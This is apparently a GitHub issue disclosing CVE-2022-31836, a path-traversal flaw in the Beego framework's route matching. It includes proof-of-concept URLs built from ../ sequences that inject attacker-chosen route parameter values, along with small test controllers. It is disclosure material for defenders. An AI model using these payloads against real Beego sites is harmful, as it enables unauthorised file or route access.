Headline
CVE-2022-31836: Function leafInfo.match() use path.join() to deal with `wildcardValues`, which may lead to cross directory risk. · Issue #4961 · beego/beego
The leafInfo.match() function in Beego v2.0.3 and below uses path.join() to deal with wildcardvalues which can lead to cross directory risk.
Function leafInfo.match() use path.join() to deal with wildcardValues, which may lead to cross directory risk.
poc1: route end with . can use …/ to cross directory and set evil value for :path .
ctx.Input.SetParam(":path", path.Join(path.Join(wildcardValues[:len(wildcardValues)-1]…), strs[0]))
ctx.Input.SetParam(":path", path.Join(path.Join(wildcardValues\[index:len(wildcardValues)\-1\]...), strs\[0\]))
For route /book1/:name/fixPath1/*.* , urls below can match, and set :path=evil
/book1/name1/fixPath1/mybook/../evil.txt =>:name=name1
/book1/name1/fixPath1/mybook/../././evil.txt =>:name=name1
/book1/name1/fixPath1/mybook/../././////evil.txt =>:name=name1
/book1/../fixPath1/mybook/../././////evil.txt =>:name=..
/book1/./fixPath1/mybook/../././////evil.txt =>:name=.
//Test code as below: web.Router("/book1/:name/fixPath1/*.*", &controllers.BookController{}, “get:SearchByName”) func (b BookController) SearchByName() { fmt.Println(“:path=” + b.Ctx.Input.Param(“:path”)) fmt.Println(“:name=” + b.Ctx.Input.Param(“:name”)) b.Data[“json”] = “OK” b.ServeJSON() }
poc2: regex route can use …/ to cross directory and replace wildcard with evil value
if !leaf.regexps.MatchString(path.Join(wildcardValues…)) {
For regex route /book2/:type:string/fixPath1/:name,urls below can match and value of :type :name can be replaced with evil value.
/book2/type1/fixPath1/name1/../../evilType/evilName => :type=evilType :name=evilName
/book2/type1/fixPath1/name1/../../././evilType/evilName => :type=evilType :name=evilName
/book2/type1/fixPath1/name1/../../././////evilType/evilName\=> :type=evilType :name=evilName
//Test code as below: web.Router("/book2/:type:string/fixPath1/:name", &controllers.BookController{}, “get:SearchByType”) func (b BookController) SearchByType() { fmt.Println(“:name=” + b.Ctx.Input.Param(“:name”)) fmt.Println(“:type=” + b.Ctx.Input.Param(“:type”)) b.Data[“json”] = “OK” b.ServeJSON() }